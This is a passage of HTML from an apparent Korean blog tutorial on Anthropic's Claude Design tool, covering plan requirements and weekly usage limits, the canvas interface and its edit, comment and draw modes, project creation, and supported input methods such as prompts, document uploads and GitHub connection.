&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1. 접속 요건&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, Pro/Max/Team/Enterprise 중 하나의 구독.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;claude.ai/design&lt;/code&gt; 접속 권한 (&lt;a href=&quot;https://www.anthropic.com/news/claude-design-anthropic-labs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 발표&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Enterprise는 기본값이 비활성화(off by default, 처음엔 꺼져 있음)이며 관리자가 Organization settings에서 직접 켜야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.2. 사용량 구조와 플랜별 권장&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design 사용량은 채팅 및 Claude Code와 &lt;b&gt;완전히 별도의 주간 한도(weekly allowance)&lt;/b&gt;로 집계된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 Claude Design을 많이 써도 채팅 대화 횟수에는 영향이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 실제 사용후 사용량 측정&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2520&quot; data-origin-height=&quot;706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVkwpG/dJMcafGme3U/etmEVz74vIsoeVvNCIqHAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVkwpG/dJMcafGme3U/etmEVz74vIsoeVvNCIqHAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVkwpG/dJMcafGme3U/etmEVz74vIsoeVvNCIqHAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVkwpG%2FdJMcafGme3U%2FetmEVz74vIsoeVvNCIqHAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2520&quot; height=&quot;706&quot; data-origin-width=&quot;2520&quot; data-origin-height=&quot;706&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플랜&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;공식 권장 용도&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;실사용 참고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro ($20/월)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Quick explorations, one-off use (간단한 탐색, 단발성 사용)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;30분 사용으로 주간 한도 소진 보고 다수 (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-13&quot;&gt;&amp;sect;13 참조&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max 5x ($100/월)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Semi-regular (준정기적 사용) &amp;mdash; PM&amp;middot;엔지니어의 정기 목업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정기 업무 사용 시 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max 20x ($200/월)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Power use (집중 사용) &amp;mdash; 디자이너&amp;middot;크리에이터 주업무&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자이너가 메인 도구로 쓰는 경우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Team ($30/인/월)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 단위 협업, 조직 디자인 시스템 공유&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;주간 한도(weekly allowance) 적용, 채팅과 별도 쿼터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Enterprise&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Admin 활성화 필요, 대규모 조직 배포&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;usage-based (사용량 기반) 계정: 신규 사용자당 ~20 프롬프트 크레딧(만료 2026-07-17); seat-based (좌석 기반) 계정: 주간 한도 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 가격과 정확한 한도 수치는 공개되지 않았다. 플랜 결정 전 스스로 짧은 세션으로 소비량을 직접 측정해 보는 것이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 3 ===== --&gt;
&lt;h2 id=&quot;sec-3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;3. 캔버스 인터페이스 이해: 화면 구성과 3가지 인터랙션 모드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design을 처음 열면 낯선 인터페이스가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 써본 리뷰어들의 공통된 묘사를 종합하면 &quot;채팅박스에 프리뷰 창을 붙인 수준이 아니라 실제 디자인 환경처럼 느껴진다&quot;는 점이 일관된 평가이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 요소를 먼저 파악해 두면 이후 기능 튜토리얼이 훨씬 빠르게 이해된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1. 화면 레이아웃&lt;/h3&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 8px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;화면 레이아웃&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;왼쪽 사이드바&lt;/b&gt;: 대화(chat) 입력창. 프롬프트 전송과 Claude 응답이 여기서 이루어진다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오른쪽 캔버스&lt;/b&gt;: 라이브 프리뷰. 생성된 디자인이 실시간으로 렌더링된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상단 탭&lt;/b&gt;: 여러 프로젝트 변형(variation)과 하위 파일을 탭으로 전환.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;우측 상단&lt;/b&gt;: Export 버튼.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2. 3가지 인터랙션 모드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캔버스와 상호작용하는 방법은 크게 세 가지다. 디자인 비평 플랫폼 Nervegna는 이를 가장 구체적으로 정리했다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;동작 방식&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;쓸 때&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Edit 모드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;캔버스 요소를 직접 클릭 &amp;rarr; 색상, 라인 높이 등 속성을 즉시 변경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;텍스트 직접 수정, 단일 속성값 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Comment 모드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;요소를 선택 후 자연어 명령 입력 (&quot;make this bigger and center it&quot; &amp;mdash; 이거 더 크게 하고 가운데로)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;특정 요소에 AI 적용이 필요한 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Draw 모드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로토타입 위에 직접 스케치 &amp;rarr; 시각적 지시로 전송&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;레이아웃 구조 변경, 손으로 그린 주석 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서 vs 커뮤니티 용어 정리&lt;/b&gt;: 공식 Help Center는 이 세 모드를 별도로 명명하지 않는다. 모드 이름(Edit/Comment/Draw)은 Nervegna 리뷰에서 정리한 표현이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 &quot;direct edits,&quot; &quot;inline comments,&quot; &quot;adjustment knobs&quot; 등의 기능으로 각각 기술한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 4 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;4. 기능 1: 첫 프로젝트 생성 &amp;mdash; 입력 방법 완전 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1. 홈 화면 구성 &amp;mdash; 처음 접속하면 보이는 화면&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;claude.ai/design&lt;/code&gt;에 접속하면 캔버스가 아니라 &lt;b&gt;프로젝트 피커(project picker)&lt;/b&gt; 화면이 먼저 나온다. 왼쪽 생성 패널과 오른쪽 갤러리 패널로 구성된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2052&quot; data-origin-height=&quot;1310&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sj5Au/dJMcafTTklI/Mn8G64PvMcLFKSfNrygIU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sj5Au/dJMcafTTklI/Mn8G64PvMcLFKSfNrygIU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sj5Au/dJMcafTTklI/Mn8G64PvMcLFKSfNrygIU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsj5Au%2FdJMcafTTklI%2FMn8G64PvMcLFKSfNrygIU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2052&quot; height=&quot;1310&quot; data-origin-width=&quot;2052&quot; data-origin-height=&quot;1310&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 8px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;왼쪽 &amp;mdash; 새 프로젝트 생성 패널&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 16px; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;프로젝트 타입 탭 4종&lt;/b&gt; &amp;mdash; 탭 선택에 따라 하위 옵션이 달라진다.
&lt;ul style=&quot;margin-top: 6px; list-style-type: circle;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Prototype&lt;/b&gt;: 인터랙티브 웹 프로토타입 생성 &amp;mdash; 이 글의 주요 사용 흐름&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Slide deck&lt;/b&gt;: 발표용 슬라이드덱 생성 &amp;mdash; 주제를 입력하면 여러 슬라이드로 구성된 프레젠테이션을 만들어 준다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;From template&lt;/b&gt;: 미리 제공된 템플릿을 골라 빠르게 시작하는 방법&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Other&lt;/b&gt;: 이메일&amp;middot;배너 등 기타 형식, Animated video(영상) 포함&lt;/li&gt;
&lt;/ul&gt;
Slide deck &amp;middot; From template &amp;middot; Other 탭의 상세 사용법과 영상 제작(Animated video)은 별도 글에서 자세히 다룰 예정이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Wireframe vs High fidelity&lt;/b&gt;: 결과물의 완성도를 선택한다. Wireframe은 구조 중심의 단순한 뼈대 시안, High fidelity는 색상&amp;middot;타이포그래피가 적용된 완성도 높은 시안이다. 처음 만드는 경우 High fidelity를 권장한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Project name&lt;/b&gt;: 프로젝트 이름 입력.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;+ Create 버튼&lt;/b&gt;: 클릭하면 프로젝트가 생성되고 캔버스 화면으로 진입한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기본 공개 범위&lt;/b&gt;: &quot;Only you can see your project by default.&quot; (기본적으로 본인만 볼 수 있다.) 공유 설정은 이후 변경 가능하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Set up design system 버튼&lt;/b&gt;: 하단에 위치. 조직 디자인 시스템 미설정 시 CTA로 표시된다. 상세 설정은 섹션 5에서 다룬다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;오른쪽 &amp;mdash; 프로젝트 갤러리&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Designs 탭&lt;/b&gt;: 내가 만든 프로젝트 목록. Recent / Your designs 필터와 검색 기능.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Examples 탭&lt;/b&gt;: Anthropic이 제공하는 예시 디자인 모음. 처음 사용 시 레퍼런스로 활용할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Design systems 탭&lt;/b&gt;: 조직에 등록된 디자인 시스템 목록(섹션 5 연결).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2. 프로젝트 생성 절차&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;774&quot; data-origin-height=&quot;1230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDPfB4/dJMcagysIQH/ioSk8TRkEKu1CBGRg0rQ0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDPfB4/dJMcagysIQH/ioSk8TRkEKu1CBGRg0rQ0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDPfB4/dJMcagysIQH/ioSk8TRkEKu1CBGRg0rQ0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDPfB4%2FdJMcagysIQH%2FioSk8TRkEKu1CBGRg0rQ0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;333&quot; height=&quot;529&quot; data-origin-width=&quot;774&quot; data-origin-height=&quot;1230&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;브라우저에서 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;claude.ai/design&lt;/code&gt;에 접속한다. Pro/Max/Team/Enterprise 계정으로 로그인된 상태여야 한다.&lt;/li&gt;
&lt;li&gt;왼쪽 패널에서 프로젝트 타입 탭을 선택하고, 이름을 입력한 뒤 &lt;b&gt;+ Create&lt;/b&gt; 버튼을 클릭한다.&lt;/li&gt;
&lt;li&gt;새 프로젝트는 조직 디자인 시스템이 설정되어 있다면 자동으로 상속한다. &lt;i&gt;&quot;When you create a project, it automatically inherits your organization's design system.&quot;&lt;/i&gt; (프로젝트를 만들면 조직의 디자인 시스템이 자동으로 상속된다.)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background: #fff8e1; color: #f57c00; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;중급&lt;/span&gt;4.3. 입력 방법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design은 다음 입력 방법을 지원한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1636&quot; data-origin-height=&quot;1410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dG0ftF/dJMcaarv29O/ce9mecixjzb2dqV6RL2Hlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dG0ftF/dJMcaarv29O/ce9mecixjzb2dqV6RL2Hlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dG0ftF/dJMcaarv29O/ce9mecixjzb2dqV6RL2Hlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdG0ftF%2FdJMcaarv29O%2Fce9mecixjzb2dqV6RL2Hlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;484&quot; data-origin-width=&quot;1636&quot; data-origin-height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 8px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;① 텍스트 프롬프트&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 기본 입력. 목표(goal), 레이아웃(layout), 콘텐츠(content), 타겟 독자(audience)를 포함하면 더 좋은 결과가 나온다. PCWorld 리뷰어는 &quot;NYT/Pudding feel, serif headlines, generous whitespace, one accent color&quot; (뉴욕타임스&amp;middot;Pudding 스타일, 세리프 헤드라인, 여백 넉넉하게, 포인트 색상 하나)처럼 구체적인 에스테틱 레퍼런스를 포함했을 때 결과가 향상됐다고 보고한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;② 이미지&amp;middot;스크린샷&amp;middot;디자인 파일 업로드&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 에셋이나 참고 스크린샷을 올린다. 지원 파일 확장자 목록은 공식 문서에 명시되지 않아 확인 불가. Opus 4.7 모델은 긴 변 기준 최대 2,576픽셀까지 이미지를 처리한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;③ 문서 업로드 (DOCX/PPTX/XLSX)&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;회사 브랜드 가이드 PPT, 콘텐츠 스프레드시트 등을 입력으로 활용할 수 있다. &quot;Upload images and documents (DOCX, PPTX, XLSX)&quot;라고 공식 발표가 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;④ 코드베이스 연결&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;두 가지 방식으로 제공된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Connect GitHub&lt;/b&gt;: 원격 GitHub 리포를 연결한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dm7agv/dJMcafsNxOp/OV3sIKfKrPK7B2FMviKmBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dm7agv/dJMcafsNxOp/OV3sIKfKrPK7B2FMviKmBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dm7agv/dJMcafsNxOp/OV3sIKfKrPK7B2FMviKmBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdm7agv%2FdJMcafsNxOp%2FOV3sIKfKrPK7B2FMviKmBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;278&quot; height=&quot;180&quot; data-origin-width=&quot;764&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Link code folder&lt;/b&gt;: 로컬 코드 폴더를 드래그하거나 browse로 선택한다. 대용량 코드베이스는 프론트엔드 또는 디자인 시스템 폴더만 업로드하도록 UI가 안내한다. (&lt;i&gt;&quot;For large codebases, drop the frontend or design system folder&quot;&lt;/i&gt;)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brlHtm/dJMcafl3rUs/skTc3H1hXyY4J6NfFHk5H0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brlHtm/dJMcafl3rUs/skTc3H1hXyY4J6NfFHk5H0/img.png&quot; style=&quot;width: 55.245%; margin-right: 10px;&quot; data-origin-width=&quot;1656&quot; data-origin-height=&quot;766&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;55.93&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brlHtm/dJMcafl3rUs/skTc3H1hXyY4J6NfFHk5H0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrlHtm%2FdJMcafl3rUs%2FskTc3H1hXyY4J6NfFHk5H0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1656&quot; height=&quot;766&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHfM1P/dJMcadaCYw2/PpeiyeQ0nczezgIP9KlkT0/img.png&quot; 